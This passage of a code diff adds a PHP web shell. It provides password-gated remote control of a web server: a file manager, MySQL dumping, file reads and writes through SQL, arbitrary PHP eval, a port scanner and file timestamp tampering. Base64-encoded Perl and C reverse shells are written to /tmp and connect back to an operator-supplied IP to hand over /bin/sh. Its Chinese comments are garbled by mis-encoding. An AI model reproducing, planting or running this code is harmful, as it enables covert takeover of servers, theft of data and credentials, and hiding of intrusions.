scookie('loginpass',encode_pass($password)); + @header('Location: '.$self); + exit; + } + } + if ($_COOKIE['loginpass']) { + if ($_COOKIE['loginpass'] != $pass) { + loginpage(); + } + } else { + loginpage(); + } +} +/*===================== ÑéÖ¤½áÊø =====================*/ + +$errmsg = ''; +!$action && $action = 'file'; + +// ²é¿´PHPINFO +if ($action == 'phpinfo') { + if (IS_PHPINFO) { + phpinfo(); + exit; + } else { + $errmsg = 'phpinfo() function has non-permissible'; + } +} + +// ÏÂÔØÎļþ +if ($doing == 'downfile' && $thefile) { + if (!@file_exists($thefile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $fileinfo = pathinfo($thefile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($thefile)); + @readfile($thefile); + exit; + } +} + +// Ö±½ÓÏÂÔØ±¸·ÝÊý¾Ý¿â +if ($doing == 'backupmysql' && !$saveasfile) { + if (!$table) { + $errmsg ='Please choose the table'; + } else { + mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + $filename = basename($dbname.'.sql'); + header('Content-type: application/unknown'); + header('Content-Disposition: attachment; filename='.$filename); + foreach($table as $k => $v) { + if ($v) { + sqldumptable($v); + } + } + mysql_close(); + exit; + } +} + +// ͨ¹ýMYSQLÏÂÔØÎļþ +if($doing=='mysqldown'){ + if (!$dbname) { + $errmsg = 'Please input dbname'; + } else { + mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + if (!file_exists($mysqldlfile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $result = q("select load_file('$mysqldlfile');"); + if(!$result){ + q("DROP TABLE IF EXISTS tmp_angel;"); + q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); + //ÓÃʱ¼ä´ÁÀ´±íʾ½Ø¶Ï,±ÜÃâ³öÏÖ¶ÁÈ¡×ÔÉí»ò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÍêÕûµÄÇé¿ö + q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); + $result = q("select content from tmp_angel"); + q("DROP TABLE tmp_angel"); + } + $row = @mysql_fetch_array($result); + if (!$row) { + $errmsg = 'Load file failed '.mysql_error(); + } else { + $fileinfo = pathinfo($mysqldlfile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header("Accept-Length: ".strlen($row[0])); + echo $row[0]; + exit; + } + } + } +} + +?> + + + +<?php echo $action.' - '.$_SERVER['HTTP_HOST'];?> + + + + +'opform')); +makehide('action', $action); +makehide('nowpath', $nowpath); +makehide('p1', $p1); +makehide('p2', $p2); +makehide('p3', $p3); +makehide('p4', $p4); +makehide('p5', $p5); +formfoot(); + +if(!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; +} else { + $uid = @posix_getpwuid(@posix_geteuid()); + $gid = @posix_getgrgid(@posix_getegid()); + $user = $uid['name']; + $uid = $uid['uid']; + $group = $gid['name']; + $gid = $gid['gid']; +} + +?> + + + + + + + +
/ User: ()
+ PHP / Safe Mode: + Logout | + File Manager | + MYSQL Manager | + MySQL Upload & Download | + Execute Command | + PHP Variable | + Port Scan | + Security information | + Eval PHP Code + | Back Connect +
+'); + + p(''); + + //²é¿´ËùÓпÉдÎļþºÍĿ¼ + $dirdata=array(); + $filedata=array(); + + if ($view_writable == 'dir') { + $dirdata = GetWDirList($nowpath); + $filedata = array(); + } elseif ($view_writable == 'file') { + $dirdata = array(); + $filedata = GetWFileList($nowpath); + } elseif ($findstr) { + $dirdata = array(); + $filedata = GetSFileList($nowpath, $findstr, $re); + } else { + // Ŀ¼Áбí + //scandir()ЧÂʸü¸ß + $dirs=@opendir($dir); + while ($file=@readdir($dirs)) { + $filepath=$nowpath.$file; + if(@is_dir($filepath)){ + $dirdb['filename']=$file; + $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $dirdb['dirchmod']=getChmod($filepath); + $dirdb['dirperm']=getPerms($filepath); + $dirdb['fileowner']=getUser($filepath); + $dirdb['dirlink']=$nowpath; + $dirdb['server_link']=$filepath; + $dirdata[]=$dirdb; + } else { + $filedb['filename']=$file; + $filedb['size']=sizecount(@filesize($filepath)); + $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $filedb['filechmod']=getChmod($filepath); + $filedb['fileperm']=getPerms($filepath); + $filedb['fileowner']=getUser($filepath); + $filedb['dirlink']=$nowpath; + $filedb['server_link']=$filepath; + $filedata[]=$filedb; + } + }// while + unset($dirdb); + unset($filedb); + @closedir($dirs); + } + @sort($dirdata); + @sort($filedata); + $dir_i = '0'; + + p(''); + makehide('action','file'); + makehide('thefile'); + makehide('doing'); + makehide('dir',$nowpath); + + foreach($dirdata as $key => $dirdb){ + if($dirdb['filename']!='..' && $dirdb['filename']!='.') { + if($getdir && $getdir == $dirdb['server_link']) { + $attachsize = dirsize($dirdb['server_link']); + $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown'; + } else { + $attachsize = 'Stat'; + } + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $dir_i++; + } else { + if($dirdb['filename']=='..') { + p(''); + p(''); + p(''); + } + } + } + + p(''); + $file_i = '0'; + + foreach($filedata as $key => $filedb){ + if($filedb['filename']!='..' && $filedb['filename']!='.') { + $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']); + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $file_i++; + } + } + p(''); + p(''); + p('
+'createdir')); + makehide('newdirname'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileperm')); + makehide('newperm'); + makehide('pfile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'copyfile')); + makehide('sname'); + makehide('tofile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'rename')); + makehide('oldname'); + makehide('newfilename'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileopform', 'target'=>'_blank')); + makehide('action'); + makehide('opfile'); + makehide('dir'); + formfoot(); + formhead(array('name'=>'getsize')); + makehide('getdir'); + makehide('dir'); + formfoot(); + + $free = @disk_free_space($nowpath); + !$free && $free = 0; + $all = @disk_total_space($nowpath); + !$all && $all = 0; + $used = $all-$free; + p('

File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)

'); + + $cwd_links = ''; + $path = explode('/', $nowpath); + $n=count($path); + for($i=0;$i<$n-1;$i++) { + $cwd_links .= ''.$path[$i].'/'; + } + +?> + +
+ + + + + +
()
+ + + + + + + + + +Drives) { + echo '
'; + $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); + $comma = ''; + foreach($obj->Drives as $drive) { + if ($drive->Path) { + p($comma.''.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + $comma = '|'; + } + } + echo '
'; + } + } +?> +
+
'); + p('
'); + p('WebRoot'); + p(' | ScriptPath'); + p(' | View All'); + p(' | View Writable ( Directory'); + p(' | File )'); + p(' | Create Directory | Create File'); + + p('
Find string in files(current folder): Type: Regular expressions
 FilenameLast modifiedSizeChmod / PermsAction
'.$dirdb['filename'].''.$dirdb['mtime'].''.$attachsize.''); + p(''.$dirdb['dirchmod'].' / '); + p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].'Rename
-Parent Directory
'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? ''.$filedb['filename'].'' : $filedb['filename']).''.$filedb['mtime'].''.$filedb['size'].''); + p(''.$filedb['filechmod'].' / '); + p(''.$filedb['fileperm'].''.$filedb['fileowner'].''); + p('Down | '); + p('Copy | '); + p('Edit | '); + p('Rename'); + p('
 FilenameLast modifiedSizeChmod / PermsAction
Delete selected'.$dir_i.' directories / '.$file_i.' files
'); +}// end dir + +elseif ($action == 'sqlfile') { + if($doing=="mysqlupload"){ + $file = $_FILES['uploadfile']; + $filename = $file['tmp_name']; + if (file_exists($savepath)) { + m('The goal file has already existed'); + } else { + if(!$filename) { + m('Please choose a file'); + } else { + $fp=@fopen($filename,'r'); + $contents=@fread($fp, filesize($filename)); + @fclose($fp); + $contents = bin2hex($contents); + if(!$upname) $upname = $file['name']; + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); + m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); + } + } + } +?> + +'MYSQL Information','name'=>'dbinfo')); + makehide('action','sqlfile'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBName:'); + makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); + p('

'); + formfoot(); + p('
'); + p('

Upload file

'); + p('

This operation the DB user must has FILE privilege

'); + p('

Save path(fullpath): Choose a file: Upload

'); + p('

Download file

'); + p('

File: Download

'); + makehide('dbhost'); + makehide('dbport'); + makehide('dbuser'); + makehide('dbpass'); + makehide('dbname'); + makehide('charset'); + makehide('doing'); + makehide('action','sqlfile'); + p('
'); +} + +elseif ($action == 'mysqladmin') { + !$dbhost && $dbhost = 'localhost'; + !$dbuser && $dbuser = 'root'; + !$dbport && $dbport = '3306'; + $dbform = ''; + if(isset($dbhost)){ + $dbform .= "\n"; + } + if(isset($dbuser)) { + $dbform .= "\n"; + } + if(isset($dbpass)) { + $dbform .= "\n"; + } + if(isset($dbport)) { + $dbform .= "\n"; + } + if(isset($dbname)) { + $dbform .= "\n"; + } + if(isset($charset)) { + $dbform .= "\n"; + } + + if ($doing == 'backupmysql' && $saveasfile) { + if (!$table) { + m('Please choose the table'); + } else { + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $fp = @fopen($path,'w'); + if ($fp) { + foreach($table as $k => $v) { + if ($v) { + sqldumptable($v, $fp); + } + } + fclose($fp); + $fileurl = str_replace(SA_ROOT,'',$path); + m('Database has success backup to '.$path.''); + mysql_close(); + } else { + m('Backup failed'); + } + } + } + if ($insert && $insertsql) { + $keystr = $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + if ($val) { + $keystr .= $tmp.$key; + $valstr .= $tmp."'".addslashes($val)."'"; + $tmp = ','; + } + } + if ($keystr && $valstr) { + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); + } + } + if ($update && $insertsql && $base64) { + $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + $valstr .= $tmp.$key."='".addslashes($val)."'"; + $tmp = ','; + } + if ($valstr) { + $where = base64_decode($base64); + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); + } + } + if ($doing == 'del' && $base64) { + $where = base64_decode($base64); + $delete_sql = "DELETE FROM $tablename WHERE $where"; + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); + } + + if ($tablename && $doing == 'drop') { + mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + if (q("DROP TABLE $tablename")) { + m('Drop table of success'); + $tablename = ''; + } else { + m(mysql_error()); + } + } + + formhead(array('title'=>'MYSQL Manager')); + makehide('action','mysqladmin'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); + makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); + + //²Ù×÷¼Ç¼ + formhead(array('name'=>'recordlist')); + makehide('doing'); + makehide('action','mysqladmin'); + makehide('base64'); + makehide('tablename'); + p($dbform); + formfoot(); + + //Ñ¡¶¨Êý¾Ý¿â + formhead(array('name'=>'setdbname')); + makehide('action','mysqladmin'); + p($dbform); + if (!$dbname) { + makehide('dbname'); + } + formfoot(); + + //Ñ¡¶¨±í + formhead(array('name'=>'settable')); + makehide('action','mysqladmin'); + p($dbform); + makehide('tablename'); + makehide('page',$page); + makehide('doing'); + formfoot(); + + $cachetables = array(); + $pagenum = 30; + $page = intval($page); + if($page) { + $start_limit = ($page - 1) * $pagenum; + } else { + $start_limit = 0; + $page = 1; + } + if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { + mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + //»ñÈ¡Êý¾Ý¿âÐÅÏ¢ + $mysqlver = mysql_get_server_info(); + p('

MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'

'); + $highver = $mysqlver > '4.1' ? 1 : 0; + + //»ñÈ¡Êý¾Ý¿â + $query = q("SHOW DATABASES"); + $dbs = array(); + $dbs[] = '-- Select a database --'; + while($db = mysql_fetch_array($query)) { + $dbs[$db['Database']] = $db['Database']; + } + makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); + $tabledb = array(); + if ($dbname) { + p('

'); + p('Current dababase: '.$dbname.''); + if ($tablename) { + p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]'); + } + p('

'); + mysql_select_db($dbname); + + $getnumsql = ''; + $runquery = 0; + if ($sql_query) { + $runquery = 1; + } + $allowedit = 0; + if ($tablename && !$sql_query) { + $sql_query = "SELECT * FROM $tablename"; + $getnumsql = $sql_query; + $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; + $allowedit = 1; + } + p('
'); + p('

Run SQL query/queries on database '.$dbname.':

'); + makehide('tablename', $tablename); + makehide('action','mysqladmin'); + p($dbform); + p('
'); + if ($tablename || ($runquery && $sql_query)) { + if ($doing == 'structure') { + $result = q("SHOW FULL COLUMNS FROM $tablename"); + $rowdb = array(); + while($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + p('

Structure

'); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + foreach ($rowdb as $row) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + } + tbfoot(); + $result = q("SHOW INDEX FROM $tablename"); + $rowdb = array(); + while($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + p('

Indexes

'); + p('
FieldTypeCollationNullKeyDefaultExtraPrivilegesComment
'.$row['Field'].''.$row['Type'].''.$row['Collation'].' '.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' '.$row['Privileges'].' '.$row['Comment'].' 
'); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + foreach ($rowdb as $row) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + } + tbfoot(); + } elseif ($doing == 'insert' || $doing == 'edit') { + $result = q('SHOW COLUMNS FROM '.$tablename); + while ($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + $rs = array(); + if ($doing == 'insert') { + p('

Insert new line in '.$tablename.' table »

'); + } else { + p('

Update record in '.$tablename.' table »

'); + $where = base64_decode($base64); + $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); + $rs = mysql_fetch_array($result); + } + p(''); + p($dbform); + makehide('action','mysqladmin'); + makehide('tablename',$tablename); + p('
KeynameTypeUniquePackedSeq_in_indexFieldCardinalityCollationNullComment
'.$row['Key_name'].''.$row['Index_type'].''.($row['Non_unique'] ? 'No' : 'Yes').' '.($row['Packed'] === null ? 'No' : $row['Packed']).' '.$row['Seq_in_index'].''.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' '.($row['Cardinality'] ? $row['Cardinality'] : 0).' '.$row['Collation'].' '.$row['Null'].' '.$row['Comment'].' 
'); + foreach ($rowdb as $row) { + if ($rs[$row['Field']]) { + $value = htmlspecialchars($rs[$row['Field']]); + } else { + $value = ''; + } + $thisbg = bg(); + p(''); + if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') { + p(''); + } else { + p(''); + } + } + if ($doing == 'insert') { + p(''); + } else { + p(''); + makehide('base64', $base64); + } + p('
'.$row['Field'].'
'.$row['Type'].'
'.$value.' 
'.$row['Field'].'
'.$row['Type'].'
'); + } else { + $querys = @explode(';',$sql_query); + foreach($querys as $num=>$query) { + if ($query) { + p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); + switch(qy($query)) + { + case 0: + p('

Error : '.mysql_error().'

'); + break; + case 1: + if (strtolower(substr($query,0,13)) == 'select * from') { + $allowedit = 1; + } + if ($getnumsql) { + $tatol = mysql_num_rows(q($getnumsql)); + $multipage = multi($tatol, $pagenum, $page, $tablename); + } + if (!$tablename) { + $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query))); + $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line); + preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches); + $tablename = $matches[1][0]; + } + + /*********************/ + $getfield = q("SHOW COLUMNS FROM $tablename"); + $rowdb = array(); + $keyfied = ''; //Ö÷¼ü×Ö¶Î + while($row = @mysql_fetch_assoc($getfield)) { + $rowdb[$row['Field']]['Key'] = $row['Key']; + $rowdb[$row['Field']]['Extra'] = $row['Extra']; + if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') { + $keyfied = $row['Field']; + } + } + /*********************/ + //Ö±½Óä¯ÀÀ±í°´ÕÕÖ÷¼ü½µÐòÅÅÁÐ + if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') { + $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query); + } + + $result = q($query); + + p($multipage); + p(''); + p(''); + if ($allowedit) p(''); + $fieldnum = @mysql_num_fields($result); + for($i=0;$i<$fieldnum;$i++){ + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + p(""); + } + p(''); + + while($mn = @mysql_fetch_assoc($result)){ + $thisbg = bg(); + p(''); + $where = $tmp = $b1 = ''; + //ѡȡÌõ¼þ×Ö¶ÎÓà + foreach($mn as $key=>$inside){ + if ($inside) { + //²éÕÒÖ÷¼ü¡¢Î¨Ò»ÊôÐÔ¡¢×Ô¶¯Ôö¼ÓµÄ×ֶΣ¬ÕÒµ½¾ÍÍ£Ö¹£¬·ñÔò×éºÏËùÓÐ×Ö¶Î×÷ΪÌõ¼þ¡£ + if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') { + $where = $key."='".addslashes($inside)."'"; + break; + } + $where .= $tmp.$key."='".addslashes($inside)."'"; + $tmp = ' AND '; + } + } + //¶ÁÈ¡¼Ç¼Óà + foreach($mn as $key=>$inside){ + $b1 .= ''; + } + $where = base64_encode($where); + + if ($allowedit) p(''); + + p($b1); + p(''); + unset($b1); + } + p(''); + if ($allowedit) p(''); + $fieldnum = @mysql_num_fields($result); + for($i=0;$i<$fieldnum;$i++){ + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + p(""); + } + p(''); + tbfoot(); + p($multipage); + break; + case 2: + $ar = mysql_affected_rows(); + p('

affected rows : '.$ar.'

'); + break; + } + } + } + } + } else { + $query = q("SHOW TABLE STATUS"); + $table_num = $table_rows = $data_size = 0; + $tabledb = array(); + while($table = mysql_fetch_array($query)) { + $data_size = $data_size + $table['Data_length']; + $table_rows = $table_rows + $table['Rows']; + $table['Data_length'] = sizecount($table['Data_length']); + $table_num++; + $tabledb[] = $table; + } + $data_size = sizecount($data_size); + unset($table); + p('
Action$name
$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? ' - PRIMARY' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? ' - Auto' : '')."
'.html_clean($inside).' Edit | Del
Action$name
$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? ' - PRIMARY' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? ' - Auto' : '')."
'); + p(''); + makehide('action','mysqladmin'); + p($dbform); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + foreach ($tabledb as $key => $table) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + if ($highver) { + p(''); + p(''); + } + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + + p(""); + makehide('doing','backupmysql'); + formfoot(); + p("
 NameRowsData_lengthCreate_timeUpdate_timeEngineCollationOperate
'.$table['Name'].''.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].' '.$table['Update_time'].' '.$table['Engine'].''.$table['Collation'].'Insert | Structure | Drop
NameRowsData_lengthCreate_timeUpdate_timeEngineCollationOperate
 Total tables: '.$table_num.''.$table_rows.''.$data_size.' 
Save as file
"); + fr($query); + } + } + } + tbfoot(); + @mysql_close(); +}//end mysql + +elseif ($action == 'backconnect') { + !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; + !$yourport && $yourport = '12345'; + $usedb = array('perl'=>'perl','c'=>'c'); + + $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + + if ($start && $yourip && $yourport && $use){ + if ($use == 'perl') { + cf('/tmp/angel_bc',$back_connect); + $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); + } else { + cf('/tmp/angel_bc.c',$back_connect_c); + $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/angel_bc.c'); + $res = execute("/tmp/angel_bc $yourip $yourport &"); + } + m("Now script try connect to $yourip port $yourport ..."); + } + + formhead(array('title'=>'Back Connect')); + makehide('action','backconnect'); + p('

'); + p('Your IP:'); + makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); + p('Your Port:'); + makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); + p('Use:'); + makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); + makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); +}//end + +elseif ($action == 'portscan') { + !$scanip && $scanip = '127.0.0.1'; + !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958'; + formhead(array('title'=>'Port Scan')); + makehide('action','portscan'); + p('

'); + p('IP:'); + makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip)); + p('Port:'); + makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport)); + makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); + + if ($startscan) { + p('

Result »

'); + p(''); + } +} + +elseif ($action == 'eval') { + $phpcode = trim($phpcode); + if($phpcode){ + if (!preg_match('#<\?#si', $phpcode)) { + $phpcode = ""; + } + eval("?".">$phpcode'Eval PHP Code')); + makehide('action','eval'); + maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); + p('

Get plugins

'); + formfooter(); +}//end eval + +elseif ($action == 'editfile') { + if(file_exists($opfile)) { + $fp=@fopen($opfile,'r'); + $contents=@fread($fp, filesize($opfile)); + @fclose($fp); + $contents=htmlspecialchars($contents); + } + formhead(array('title'=>'Create / Edit File')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); + maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); + formfooter(); + + goback(); + +}//end editfile + +elseif ($action == 'newtime') { + $opfilemtime = @filemtime($opfile); + //$time = strtotime("$year-$month-$day $hour:$minute:$second"); + $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); + formhead(array('title'=>'Clone folder/file was last modified time')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); + formfooter(); + formhead(array('title'=>'Set last modified')); + makehide('action','file'); + makehide('dir',$nowpath); + makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); + p('

